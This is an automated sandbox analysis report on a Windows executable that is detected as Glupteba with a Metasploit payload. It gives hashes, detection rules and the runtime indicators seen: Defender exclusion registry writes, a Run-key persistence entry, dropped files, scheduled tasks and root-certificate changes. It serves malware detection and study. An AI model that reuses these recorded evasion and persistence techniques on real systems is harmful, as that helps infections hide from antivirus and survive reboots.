Analysis
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max time kernel
129s -
max time network
165s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 09:14
Static task
static1
Behavioral task
behavioral1
Sample
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Resource
win10v2004-20220812-en
General
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Target
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
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Size
3.8MB
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MD5
70458756d498f9fb5e724ed3ebd3ddf5
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SHA1
a1c525f7a312e74950c2c00e87006e46aaf9d4a0
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SHA256
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
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SHA512
87ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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SSDEEP
98304:MfcPXi4rTNExqZ9BZUnr4wpZBPczsttE8r7MWNaJY80:qmS4gqZ9vUnr4g5b7MQYY
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/912-56-0x00000000015D0000-0x0000000001DD4000-memory.dmp family_glupteba behavioral1/memory/912-57-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/912-58-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/1704-63-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/1704-64-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/1704-70-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/1736-73-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral1/memory/1736-79-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FloralResonance = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1736 csrss.exe 1208 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Loads dropped DLL 8 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exepatch.exepid process 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 892 1208 patch.exe 1208 patch.exe 1208 patch.exe 1208 patch.exe 1208 patch.exe -
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FloralResonance = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\FloralResonance = "\"C:\\Windows\\rss\\csrss.exe\"" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe File created C:\Windows\Logs\CBS\CbsPersist_20221125162428.cab makecab.exe File created C:\Windows\rss\csrss.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1828 schtasks.exe 1664 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe -
Processes:
patch.execsrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 